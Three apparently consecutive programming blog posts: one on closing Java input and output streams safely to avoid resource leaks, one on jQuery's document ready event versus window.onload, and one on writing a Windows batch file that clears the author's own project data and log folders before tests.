// He was careful to close streams in finally block, but it’s not complete
// Can you spot error?

if(fis != null) fis.close();
if(fos != null) fos.close();

} catch(IOException e) { System.out.println("Failed to close streams"); }

}
Most of his code is al-right and even better than many Java programmers. He was even careful to close streams in finally block, but he still made an error, which could cause resource leak in his Java program. Can you spot the error? Yes, output stream will not be closed if close() method of input stream will throw an Exception i.e. fos.close() will not even execute if fis.close() throws exception. This means file descriptor held by OutputStream will never release causing a resource leak in Java program. It's not uncommon, I have seen many such code, where developers has right intention to release resources by closing streams but fail to realize something equally important. Right way of closing stream is by closing them in their own try catch block, so that failure of closing one stream should not prevent calling close() on other stream. Here is the right way of closing InputStream and OutputStream in Java :
InputStream is = null;
OutputStream os = null;

try {

is = new FileInputStream("../input/fxrates.txt");
os = new FileOutputStream("../output/fxrates.txt");

......

} finally {

try { if (is != null) is.close(); } catch(IOException e) {//closing quietly}
try { if (os != null) os.close(); } catch(IOException e) {//closing quietly}

}
How to Close InputStream and OutputStream in Java properly
This code will not forget to call os.close() even if is.close() will throw IOException, which ensures that file descriptor held by OutputStream will be released. If you don't like so many try-catch and try-finally block or fed-up with verbosity of this program then you can also try Apache commons IO package. It provides a closeQuitetly() method to close streams quietly i.e. above finally block can be re-written by using IOUtils.closeQuietly() as following.
try{
.......
........
} finally {
IOUtils.closeQuietly(in);
IOUtils.closeQuietly(os);
}
closeQuitely() is an overloaded method for closing URLConnection, Closable, Socket, ServerSocket, Selector, InputStream, OutputStream, Reader and Writer classes. It is also null-safe, so don't check if Stream is null before calling this method. Here is source code of closeQuitely() method for closing InputStream :

 public static void closeQuietly(InputStream input) {
        try {
if (input != null) {
input.close();
}
} catch (IOException ioe) {
// ignore
}
}
By the way, you have a much better alternative if you are using Java 7. It has provided try-with-resource statements for automatic resource management in Java. All resources opened in try block will automatically closed by Java, provided they implements Closable and AutoClosable. Since all InputStream and OutputStream are eligible to be used inside try-with-resource statements, you should take advantage of that. This is really great for Java programmer, as they are not as careful as their C++ counterparts, especially while releasing resource. Here is how does above code look like with try-with-resource statement.

try (FileInputStream fis = new FileInputStream("../input/fxrates.txt");
FileOutputStream fos = new FileOutputStream("../output/fxrates.tx")) {

// code for reading contents

.....

} catch (IOException ioex) {
System.out.println("Failed to copy files : " + ioex.getMessage());
ioex.printStackTrace();
}
As you can see, we have got rid of lot of boiler plate try-finally code. Since you can declare more than one resource inside try-with-resource block, allocate your streams, channels, and readers there.

That's all on this post about right way of closing InputStream and OutputStream in Java. We have seen three examples of closing streams in Java and how combining close() call of two stream can cause resource leak in Java. Take away is always close streams in their own try-catch block. If you are using Apache commons IO in your project then take advantage of IOUtils.closeQuietly() method to reduce boiler-plate code. Prefer try-with-resource over manual handling of resource in Java 7. Bottom line is all opened streams must be closed once you are through with them. This rule applies to all resources e.g. database connections, network connections, files, printers and any other shared resource. You must release once you are done.


Difference between jQuery Document Ready Method and JavaScript Window Onload Event

Difference between jQuery Document Ready Method and JavaScript Window Onload Event

Though both jQuery ready event and window onload event is used to perform task when page is loaded, there is subtle difference between them. jQuery document.ready method, which is not method but a jQuery event is fired, when DOM is ready i.e. all elements of DOM is available, but not necessarily all contents e.g. images and video, on the other hand JavaScript built-in window.onload event is fired when the HTML document is complete loaded, including DOM and all it's content e.g. images, audio and videos. Because of this reason, you may see that scripting code defined in jQuery $(document).ready() executes before code defined on window.onload event, especially if loading of images take long time. By the way difference between JavaScript window onload event and jQuery document.ready event is also one of the popular jQuery Interview Question, asked to both beginners and experienced web developers. In this article, we will explore some key differences between jQuery ready vs onload and will find it out when to use jQuery ready method vs window onload event.



What is window onload and jQuery document ready event

In JavaScript window is one of core object and defines several useful events e.g. onload, before jQuery comes, if want to execute any code, once DOM is loaded completely, we use window.onload event. We define code like

window.onload = function(){
// code supposed to run once DOM is loaded
alert("onload event is fired");
};

There is a problem with this code, it not exactly executed when DOM is loaded but it executes after all content including big images are loaded completely. Browser normally delay executing onload code, until all page content is loaded, because of this user can see significant delay between they first see the page and the time that code inside onload get executed, this delay is particularly notable, if your page content heavy images, flash videos or other heavy content with low bandwidth internet connection. jQuery solves this problem by introducing ready event, you might have seen code like below in several JavaScript files or HTML pages :

$(document).ready(function(){
alert("Inside jQuery ready method");
});

here $() is a shortcut for jQuery() function, and we wrap document object into jQuery object to use ready() method. We are passing an anonymous function to ready() method, which will be executed once DOM is loaded. It doesn't wait till all DOM content available e.g. images. By the way, instead of using $(document).ready() function, you can also use following short-cut, which has same effect :

$(function() {
alert("shortcut for document.ready method in jQuery");
});

Apart from faster execution, one of the key advantage of jQuery ready method over JavaScript window onload event is that, you can use them multiple times in your page, unlike onload event, which can only be bind to a single function. Browser will ensure to execute all document.ready code to execute in the order, they are specified in the HTML page.

jQuery ready vs window onload event

As I said earlier, main difference between them is when jQuery ready vs onload event get triggered, former trigger before later. But, before making decision when to use document ready vs window load, let's see couple of more differences between windows onload event vs document ready event.

1) Unlike jQuery ready event, which is only available in jQuery library, window.onload is standard event in JavaScript and available in every browser and library.

2) In most cases jQuery document ready event fire before window.onload event, in worst case, where there is no bulky content to load and there is no delay from browser side, window onload event get trigger at same time as document.ready event.

3) Another difference between document ready vs window load is that, by using window's onload technique, we can only specify one event handler, but we can use jQuery ready code multiple times in a page and browser will invoke them in the order they are declared in page.

4) jQuery ready event fires as soon as DOM is loaded i.e. all it's elements are available, it doesn't wait for DOM contents e.g. images, while JavaScript window.onload event first when DOM is fully loaded including contents e.g. images.

5) Last but not least difference between jQuery ready vs document onload is that former provides cross browser compatibility, an inherent jQuery advantage, while later suffers from browser specific implementation.

When to use jQuery ready over window onload

jQuery document ready vs JavaScript Window onload event
After knowing these differences between them, it's clear that you should use jQuery document ready() function for all practical purpose, where you want to execute your script code, when DOM is ready, but not when you have to perform operations on DOM contents e.g. images. You should use window.onload if you are dealing with images, there dimensions or other properties, because they may not be available, when jQuery document ready event get triggered. Another advantage of jQuery ready method is that you can use this multiple time in your page, as opposed to window.onload, which can only be bind to a single function.



That's all about difference between JavaScript window load event and jQuery document ready method. I strongly suggest to use to jQuery ready handler for all practical purpose except when you are dealing with DOM contents e.g. dimension of images, which may not be available, when ready event get triggered. jQuery ready also handles browser compatibility as opposed to window onload, which is despite being standard are subject of browser quirks and tweaks. by the way, if you know any other difference between jQuery document ready vs window onload event, which is not included in this post, then please let us know via comment.

How to Make and Run batch .bat file in Windows 8

How to Make and Run batch .bat file in Windows 8

batch files and shell scripts are developers best friend, they help to improve productivity a lot. They not only help you to automate boring, time consuming task but also saves lot of time doing and doing them again. Batch file also reduce chances of error, once tested and encourage re-usability by sharing them across team or people with similar needs. Though not every programmer, developer or computer user has mindset to use batch file, something it's too difficult to write, some just not able to fight with initial resistance and many of them are not even aware of batch file. As a Java programmer, you really don't need to learn these stuff, as almost everybody who use windows operating system for more than year, knows about it. Anyway knowing is not enough, main thing is adapting and taking full advantage of them, developing mentality towards scripting, automation and writing batch files. Remember, shell scripting is one of the important skill to get a programming job and more important to support application running on UNIX operating sytem in Investment banking domain. Writing batch scripts are not full blown scripting, but it's lighter form of it, It works best to train yourself and develop that scripting mentality to improve productivity. In this article, we will learn how to write a batch file in windows 8 operating system and revisit some important things about batch file.


Sample Batch file in Windows 8 to clean directories and remove files:

I often need to clean persistent files, logs file and other data files before running some of my testing script. If you are working in large, multi-module application and your testing involves starting and stopping multiple module than it would be pain to do it manually every time. If you are running your application in Linux and run your test consistently, you can write a whole shell script to automate everything. Since for small tests, I prefer windows, I found myself doing same task of cleaning files, which motivates me to write following batch file, good for demonstration.

Batch file to delete directories and Files


ECHO OFF
REM batch file clean directories and remove log files

echo "clearing module1 "
rmdir /S /Q D:\projects\module1\data
del D:\projects\module1\logs\module1.log


echo "clearing module2"
rmdir /S /Q D:\projects\module2\data
del D:\projects\module2\logs\module2.log

echo "clearing module3"
rmdir /S /Q D:\projects\module3\data
del D:\projects\module3\logs\module3.log


echo "clearing module4"
rmdir /S /Q D:\projects\module4\data
del D:\projects\module4\logs\module4.log

This is one of the simplest batch file, which is just removing some directories and log files. You can even use variables here removing some hardcoding e.g. project location can be set as variable. You can use set command create an environment variable and set its value.

Two things to pay attention is REM keyword and ECHO OFF. REM keyword is used to write comments inside batch file. Comments are lines, which are not executed by windows shell. ECHO OFF is to disable echo, which means you will not see actual commands on command prompt, you will only see output of commands. Though you can also print useful information by using echo command. This is one of the must use while writing batch file, to see clean output. For beginners, DEL command is used to delete files in widows and rmdir is to remove directories, rmdir /S /Q are two options to remove quietly, without asking and /S to remove all files and sub-directories.



How to Run Batch File in Windows 8

How to Run Batch File in Windows 8


Running batch file is very simple, you can either double click on the batch file itself, or open a command prompt by typing cmd on run window and invoke them by providing absolute path. If you are on same directory, then just type the name of batch file in command prompt as show below.

C:\test>clean.bat
"clearing module1 "
Could Not Find D:\projects\module1\logs\module1.log
"clearing module2"
Could Not Find D:\projects\module2\logs\module2.log
"clearing module3"
Could Not Find D:\projects\module3\logs\module3.log
"clearing module4"
Could Not Find D:\projects\module4\logs\module4.log


Output says could not file log files, because it was already removed from earlier run. By the way, if you are a Java programmer, and constantly work on Eclipse, then you can invoke batch file from Eclipse itself. Just follow steps given in that post.


Things to remember

1) You can create batch file by using any text editor e.g. notepad or WordPad. I personally prefer notepad++ because of syntax highlighting and advanced features on find and replace.

2) Make sure your batch file has extension .bat not .txt. When you write something in text editor, windows by default provide them .txt extension. Double check extension of your batch file. In windows 8, batch file has different icon then text file, so it's easy to recognize, as shown below.

- icon for batch file
- icon for text file

3) Batch file is nothing but set of commands. Instead of writing command one by one in command prompt, you write them in a file and ask command prompt or shell to execute them. By putting multiple command together, you can create small programs for your day to day task e.g. cleaning data before running test, taking archive or backup of log files etc. For Java Programmers and developers, if you think you are doing same task over and over, consider making a batch file to automate that task.

4) You can not only use simple batch commands e.g. MKDIR, RMDIR, DEL or ECHO in batch file, but also you can access environment variables e.g. JAVA_HOME, PATH or CLASSPATH by including them between % sign e.g. %PATH% will be replaced by value of  PATH environment variable, when you run batch file.

5) For Eclipse User, you can even run any batch file directly from Eclipse, without opening a command prompt or clicking on batch file.

That's all on how to write batch file in windows 8 guys. I know, many of you already familiar with batch files and may also be using in your day to day work, but there is no excuse for those programmers, who are familiar but not using it. They tend to lose too much time, doing trivial activities manually.